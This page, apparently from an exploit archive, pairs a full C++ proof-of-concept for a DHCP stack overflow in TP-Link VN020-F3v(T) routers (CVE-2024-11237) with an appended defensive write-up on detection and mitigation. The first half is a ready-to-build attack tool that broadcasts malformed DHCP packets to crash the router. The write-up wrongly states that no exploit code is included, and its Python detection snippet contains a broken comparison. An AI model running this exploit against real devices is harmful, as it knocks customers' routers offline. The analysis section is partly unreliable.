TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
Exploit Author: Mohamed Maatallah Analysis Author: www.bubbleslearn.ir Category: Local Language: C++ Published Date: 2025-05-13
/*
* Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow
* Date: 10/20/2024
* Exploit Author: Mohamed Maatallah
* Vendor Homepage: https://www.tp-link.com
* Version: TT_V6.2.1021 (VN020-F3v(T))
* Tested on: VN020-F3v(T) Router (Hardware Version 1.0)
* CVE: CVE-2024-11237
* Category: Remote
* Technical Details:
* -----------------
* - Triggers multiple memory corruption vectors in DHCP parsing
* - Primary vector: Stack overflow via oversized hostname (127 bytes)
* - Secondary vector: Parser confusion via malformed length fields
* - Tertiary vector: Vendor specific option parsing edge case
*
* Attack Surface:
* --------------
* - DHCP service running on port 67
* - Processes broadcast DISCOVER packets
* - No authentication required
* - Affects all routers running VN020 F3v(t) specifically the ones
* supplied by Tunisie Telecom & Topnet
*
* Exploitation Method:
* ------------------
* 1. Sends crafted DHCP DISCOVER packet
* 2. Overflows hostname buffer (64 -> 127 bytes)
* 3. Corrupts length fields in DHCP options
* 4. Success = No response (service crash)
*
* Build:
* ------
* Windows: cl poc.c /o tplink_dhcp.exe or use visual studio directly.
*
* Usage:
* ------
* tplink_dhcp.exe
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
// Standard DHCP ports - Server listens on 67, clients send from 68
#define DHCP_SERVER_PORT 67
#define DHCP_CLIENT_PORT 68
#define MAX_PACKET_SIZE 1024 // Maximum size for DHCP packet
#define MAX_ATTEMPTS 3
// Forward declarations of functions
void create_dhcp_discover_packet(unsigned char* packet, int* packet_length);
void add_option(unsigned char* packet, int* offset, unsigned char option,
unsigned char length, unsigned char* data);
void tp_link(unsigned char* packet, int* offset);
void print_packet_hex(unsigned char* packet, int length);
int wait_for_response(SOCKET sock, int timeout);
int main() {
WSADATA wsa;
SOCKET sock;
struct sockaddr_in dest;
unsigned char packet[MAX_PACKET_SIZE]; // Buffer for DHCP packet
int packet_length = 0; // Length of constructed packet
int attempts = 0; // Counter for send attempts
int success = 0;
printf("[TP-Thumper] Initializing Winsock...\n");
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
printf("[TP-Thumper] Winsock initialization failed. Error: %d\n",
WSAGetLastError());
return 1;
}
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock == INVALID_SOCKET) {
printf("[TP-Thumper] Could not create socket. Error: %d\n",
WSAGetLastError());
WSACleanup();
return 1;
}
// Set up broadcast address (255.255.255.255)
dest.sin_family = AF_INET;
dest.sin_port = htons(DHCP_SERVER_PORT);
dest.sin_addr.s_addr = inet_addr("255.255.255.255");
// Enable broadcast mode on socket
BOOL broadcast = TRUE;
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*)&broadcast,
sizeof(broadcast)) < 0) {
printf("[TP-Thumper] Broadcast mode failed.\n");
closesocket(sock);
WSACleanup();
return 1;
}
srand((unsigned int)time(NULL));
// Create the DHCP DISCOVER packet
create_dhcp_discover_packet(packet, &packet_length);
// Main attempt loop - tries to send packet MAX_ATTEMPTS times
while (attempts < MAX_ATTEMPTS && !success) {
printf("[TP-Thumper] Sending DHCP Discover packet (Attempt %d/%d)...\n",
attempts + 1, MAX_ATTEMPTS);
print_packet_hex(packet, packet_length); //debug
// Send the packet
if (sendto(sock, (char*)packet, packet_length, 0, (struct sockaddr*)&dest,
sizeof(dest)) < 0) {
printf("[TP-Thumper] Packet send failed. Error: %d\n", WSAGetLastError());
}
else {
printf("[TP-Thumper] Packet sent. Waiting for router response...\n");
if (wait_for_response(sock, 10)) {
printf(
"[TP-Thumper] Router responded! Exploit may not have succeeded.\n");
success = 1;
}
else {
printf("[TP-Thumper] No response received within timeout.\n");
}
}
attempts++;
}
if (!success) {
printf(
"[TP-Thumper] Exploit succeeded: No router response after %d "
"attempts.\n",
MAX_ATTEMPTS);
}
else {
printf("[TP-Thumper] Exploit failed: Router responded within timeout.\n");
}
// Cleanup
closesocket(sock);
WSACleanup();
return 0;
}
/*
* DHCP Message Format:
* [0x00]: op = 0x01 ; BOOTREQUEST
* [0x01]: htype = 0x01 ; Ethernet
* [0x02]: hlen = 0x06 ; MAC addr len
* [0x03]: hops = 0x00 ; No relay
* [0x04-0x07]: xid ; Random transaction ID
* [0x08-0x0F]: secs + flags ; Broadcast flags set
* [0x10-0x1F]: ciaddr + yiaddr ; Empty
* [0x20-0x27]: siaddr + giaddr ; Empty
* [0x28-0x2D]: chaddr ; Crafted MAC
*/
void create_dhcp_discover_packet(unsigned char* packet, int* packet_length) {
memset(packet, 0, MAX_PACKET_SIZE);
int offset = 0;
// DHCP Header - Standard fields
packet[offset++] = 0x01; // BOOTREQUEST
packet[offset++] = 0x01; // Ethernet
packet[offset++] = 0x06; // MAC len
packet[offset++] = 0x00; // No hops
// ; XID - rand() used for bypass of response filtering
// ; mov eax, rand()
// ; mov [packet + 4], eax
unsigned int xid = (unsigned int)rand();
*((unsigned int*)&packet[offset]) = htonl(xid);
offset += 4;
// ; Flags - Set broadcast bit to force response
// ; mov word [packet + 8], 0x0000 ; secs elapsed
// ; mov word [packet + 10], 0x8000 ; broadcast flag
packet[offset++] = 0x00;
packet[offset++] = 0x00;
packet[offset++] = 0x80;
packet[offset++] = 0x00;
// Zero IP fields - forces DHCP server parse
memset(&packet[offset], 0, 16);
offset += 16;
// ; Crafted MAC - DE:AD:BE:EF:00:01
// ; Used for unique client tracking, bypasses MAC filters
packet[offset++] = 0xDE;
packet[offset++] = 0xAD;
packet[offset++] = 0xBE;
packet[offset++] = 0xEF;
packet[offset++] = 0x00;
packet[offset++] = 0x01;
memset(&packet[offset], 0x00, 10);
offset += 10;
// ; Skip server name/boot filename
// ; Total padding: 192 bytes
memset(&packet[offset], 0x00, 64);
offset += 64;
memset(&packet[offset], 0x00, 128);
offset += 128;
// ; DHCP Magic Cookie
// ; 0x63825363 = DHCP in natural order
packet[offset++] = 0x63;
packet[offset++] = 0x82;
packet[offset++] = 0x53;
packet[offset++] = 0x63;
// ; Stack layout after this point:
// ; [ebp+0] = DHCP header
// ; [ebp+240] = DHCP options start
// ; Router parses sequentially from this point
add_option(packet, &offset, 0x35, 0x01, (unsigned char[]) { 0x01 });
add_option(packet, &offset, 0x37, 4,
(unsigned char[]) {
0x01, 0x03, 0x06, 0x0F
});
// ; Trigger overflow conditions
tp_link(packet, &offset);
packet[offset++] = 0xFF; // End option
*packet_length = offset;
}
void tp_link(unsigned char* packet, int* offset) {
// ; Vendor specific overflow - triggers parser state confusion
// ; 0x00,0x14,0x22 = TP-Link vendor prefix
// ; Following 0xFF bytes cause length validation bypass
unsigned char vendor_specific[] = { 0x00, 0x14, 0x22, 0xFF, 0xFF, 0xFF };
add_option(packet, offset, 0x2B, sizeof(vendor_specific), vendor_specific);
// ; Stack buffer overflow via hostname
// ; Router allocates 64-byte buffer but we send 127
// ; Overwrites adjacent stack frame
unsigned char long_hostname[128];
memset(long_hostname, 'A', sizeof(long_hostname) - 1);
long_hostname[127] = '\0';
add_option(packet, offset, 0x0C, 127, long_hostname);
// ; Length field exploit
// ; Claims 255 bytes but only sends 1
// ; Router assumes full length during memory operations
// ; leads to read/write past buffer
add_option(packet, offset, 0x3D, 0xFF, (unsigned char[]) { 0x01 });
}
// ; Helper for DHCP option construction
// ; option = option code
// ; length = claimed length (can be falsified)
// ; data = actual payload
void add_option(unsigned char* packet, int* offset, unsigned char option,
unsigned char length, unsigned char* data) {
packet[(*offset)++] = option; // Option type
packet[(*offset)++] = length; // Claimed length
memcpy(&packet[*offset], data, length);
*offset += length;
}
// Debug
void print_packet_hex(unsigned char* packet, int length) {
printf("[TP-Thumper] Packet Hex Dump:\n");
// Print header fields with labels
printf("Opcode (op): %02X\n", packet[0]);
printf("Hardware Type (htype): %02X\n", packet[1]);
printf("Hardware Address Length (hlen): %02X\n", packet[2]);
printf("Hops: %02X\n", packet[3]);
// Transaction ID
printf("Transaction ID (xid): ");
for (int i = 4; i < 8; i++) {
printf("%02X ", packet[i]);
}
printf("\n");
// Flags
printf("Flags: ");
for (int i = 10; i < 12; i++) {
printf("%02X ", packet[i]);
}
printf("\n");
// Client Hardware Address (MAC)
printf("Client Hardware Address (chaddr): ");
for (int i = 28; i < 34; i++) {
printf("%02X ", packet[i]);
}
printf("\n");
// DHCP Magic Cookie
printf("Magic Cookie: ");
for (int i = 236; i < 240; i++) {
printf("%02X ", packet[i]);
}
printf("\n");
// DHCP Options
printf("DHCP Options:\n");
int i = 240;
while (i < length) {
printf(" Option: %02X, Length: %02X, Data: ", packet[i], packet[i + 1]);
int option_length = packet[i + 1];
for (int j = 0; j < option_length; j++) {
printf("%02X ", packet[i + 2 + j]);
}
printf("\n");
i += 2 + option_length;
if (packet[i] == 0xFF) {
printf(" End of Options\n");
break;
}
}
}
// Wait for router response with timeout
int wait_for_response(SOCKET sock, int timeout) {
struct timeval tv;
tv.tv_sec = timeout;
tv.tv_usec = 0;
// Set up file descriptor set for select()
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(sock, &readfds);
// Wait for data or timeout
int result = select(0, &readfds, NULL, NULL, &tv);
return result > 0; // Returns true if data available
}TP-Link VN020 F3v(T) TT_V6.2.1021 — DHCP Stack Buffer Overflow (CVE-2024-11237)
This article provides an expert-level, defensive analysis of CVE-2024-11237 — a remote DHCP parsing vulnerability affecting certain TP‑Link VN020-F3v(T) routers running firmware TT_V6.2.1021. The goal is to explain what the flaw is, why it matters, how defenders can detect it, and practical mitigation strategies. No offensive exploit code or step‑by‑step exploitation instructions are included.
Executive summary
- Vulnerability: DHCP option parsing in the router firmware can lead to memory corruption (stack overflow and related parser confusion) when processing specially crafted DHCP DISCOVER packets.
- Affected component: DHCP server/listener processing code (UDP port 67) in VN020-F3v(T) routers (firmware TT_V6.2.1021) distributed by certain ISPs.
- CVE identifier: CVE-2024-11237.
- Impact: Remote denial of service (router DHCP process crash) and potential code execution in some exploitation scenarios; no authentication required to trigger.
- Primary indicators: DHCP DISCOVER messages containing unusually long Hostname option values and malformed/contradicting option length fields.
Why this vulnerability matters
DHCP is an unauthenticated UDP-based protocol typically listening on port 67 and intended to accept broadcast requests from any network client. A vulnerability in DHCP option parsing is high risk because it can be triggered by any host that can reach the device's DHCP listener — for example a machine on the LAN, an attacker on Wi‑Fi/guest networks, or a compromised device. A crash of the DHCP process can cause loss of network connectivity, and memory corruption may be leveraged for remote code execution on embedded devices if additional conditions are met.
Technical overview (defensive, non-actionable)
The root cause is unsafe parsing of DHCP options. Analysis identified three distinct memory‑corruption vectors triggered during option decoding:
- Hostname overflow: The DHCP Hostname option (option 12) is copied into a fixed-size stack buffer (reported ~64 bytes), while the parser accepts longer values; values significantly longer than the buffer length can overwrite adjacent stack memory and control data.
- Length-field confusion: The parser trusts claimed length bytes in option headers and then performs memory operations based on those numbers; deliberately inconsistent length fields (claiming N bytes but providing fewer) can lead to out-of-bounds reads/writes or state-machine desynchronisation.
- Vendor-option edge case: A vendor-specific option with particular prefixes and filler bytes can trigger parser state confusion leading to incorrect length checks and cascading corruption.
Taken together, these flaws enable denial-of-service (the DHCP process or entire router may hang/crash) and could — under the right memory layout and further exploitation effort — allow more powerful outcomes.
Affected products and versions
| Vendor | Model | Firmware / Version | Notes |
|---|---|---|---|
| TP‑Link | VN020-F3v(T) | TT_V6.2.1021 | Reported for hardware version 1.0; devices supplied by certain ISPs (Tunisie Telecom, Topnet) observed. |
Potential impact
- Denial of Service — DHCP service crash or router instability, resulting in loss of DHCP lease assignments or full device reboot.
- Information leak or remote code execution — theoretical risk if memory corruption can be escalated; exploitation complexity is elevated but non-zero for skilled attackers against unpatched firmware.
- Network disruption — routers used as CPE (customer premises equipment) may disrupt multiple downstream hosts.
Detection and monitoring guidance (defender-focused)
Because the attack surface is DHCP on UDP/67, defenders should focus on detecting anomalous DHCP requests and malformed option fields. Suggested detection strategies:
- Log/inspect DHCP traffic and flag Hostname (option 12) values longer than expected (e.g., > 64 bytes). Many legitimate DHCP clients send very short hostnames; long blobs are anomalous.
- Detect inconsistent option headers where the option length field claims a very large value but the packet ends prematurely or the actual following data is much smaller.
- Monitor for vendor‑specific option payloads that match unusual prefixes or long sequences of 0xFF/0x00 bytes that may attempt to confuse parsers.
- Correlate DHCP anomalies with device instability — frequent DHCP server process restarts or syslog messages tied to DHCP during the same time window may indicate exploitation attempts.
Practical (non-exploit) detection examples
Below is a safe, defensive Python function that parses a list of DHCP option tuples (option_code, length, data) and flags suspicious conditions such as oversized Hostname option or inconsistent length claims. This code assumes packet parsing has already isolated options; it is intended for inclusion in monitoring/analysis tools, not for generating network traffic.
def analyze_dhcp_options(options):
"""
options: list of tuples (option_code:int, length:int, data:bytes)
Returns: list of detected_issues strings
"""
issues = []
for code, length, data in options:
# Defensive checks:
if code == 12: # Hostname option
if length > 64:
issues.append(f"Hostname option length suspicious: {length} bytes")
# Non-printable data in hostname is suspicious
if any(b 0x7E for b in data):
issues.append("Hostname contains non-printable characters")
# Length mismatch: claimed length vs actual payload size
if length != len(data):
issues.append(f"Length mismatch for option {code}: claimed {length}, actual {len(data)}")
# Vendor-specific heuristics (example)
if code == 43: # vendor-specific (example code)
if len(data) > 16 and data[:3] in (b'\x00\x14\x22', b'\x00\x00\x00'):
issues.append("Vendor option contains suspicious prefix or long payload")
return issuesExplanation: This snippet is a defensive parser that checks DHCP option lengths and simple content heuristics. It highlights oversized hostnames, non-printable characters in textual fields, and length mismatches which are known signs of malformed packets intended to confuse parsers.
Network/IDS strategy (high level)
- Place DHCP servers (and CPE devices) behind network segments where untrusted endpoints cannot send DHCP requests directly. Block UDP/67 from guest or untrusted VLANs to the management/control interfaces of routers.
- Create IDS/IPS rules to alert on DHCP options with: Hostname option length > 64; claimed option length not matching available data; vendor option payloads with long sequences of 0xFF or unexpected prefixes.
- Monitor device syslogs and SNMP for DHCP daemon restarts or kernel oops messages and escalate when correlated with network traffic anomalies.
Safe example: IDS rule logic (conceptual)
Do not expose or craft exploit packets. Use this conceptual rule logic in your IDS engine:
- Trigger when UDP traffic to port 67 contains the DHCP magic cookie (to reduce false positives).
- Within that packet, locate DHCP option 12 (hostname). If the option length byte > 64, raise an alert.
- Trigger on cases where an option's declared length is greater than the remaining packet length (length mismatch).
Implementations vary by IDS product. The key is to focus on anomalies in option length fields and unusual vendor-option payloads.
Mitigation and remediation
- Apply vendor patches: Check TP‑Link support pages and your ISP-supplied device update channels. Install updates or hotfixes provided by TP‑Link / your ISP as soon as they are available.
- Network hardening: Restrict which networks can send DHCP traffic to the CPE. Block or rate-limit DHCP requests from untrusted network segments and guest Wi‑Fi.
- Disable services: If the router’s built-in DHCP server is not required (for example, you use a dedicated DHCP server), disable the router DHCP service to reduce the attack surface.
- Access control: Disable remote management interfaces on the WAN, and restrict LAN management to specific management VLANs/IPs.
- Monitoring: Add DHCP option length checks and crash/restart monitoring to your device monitoring and SIEM pipelines.
- Device replacement: If a firmware update is not available, consider replacing vulnerable devices with supported hardware or using a separate, up-to-date router/DHCP appliance.
Incident response checklist
- Identify devices running TT_V6.2.1021 firmware and VN020-F3v(T) models on your network.
- Search logs for clusters of DHCP requests where Hostname option length > 64 or for length-mismatch anomalies.
- If you observe instability, collect device logs and memory/core dumps where feasible, disconnect or isolate affected devices, and apply vendor-recommended remediation.
- Coordinate with the ISP/vendor for firmware updates and disclosure communication to customers if devices were supplied by the ISP.
Responsible disclosure and vendor contact
For devices under management or supplied by third-party ISPs, coordinate patching and disclosure with the vendor and your service provider. If you are a defender in an organization that manages many CPEs, notify your ISP if devices were provisioned by them so they can push updates or replacements to subscribers.
References and further reading
- TP‑Link official support: check firmware release notes and security advisories on the vendor website.
- CVE-2024-11237 — use authoritative CVE/NVD entries for scoring and mitigation guidance.
- General DHCP security best practices — isolation of DHCP, network access controls, and device lifecycle management.
Conclusion
CVE-2024-11237 illustrates the risk of unsafe parsing in low-level networking code running on embedded CPE devices. The right defensive posture combines timely firmware updates, network segmentation and good monitoring to detect anomalous DHCP traffic. Prioritize inventory and patching of affected devices, and implement the monitoring heuristics above to reduce exposure while remediation is in progress.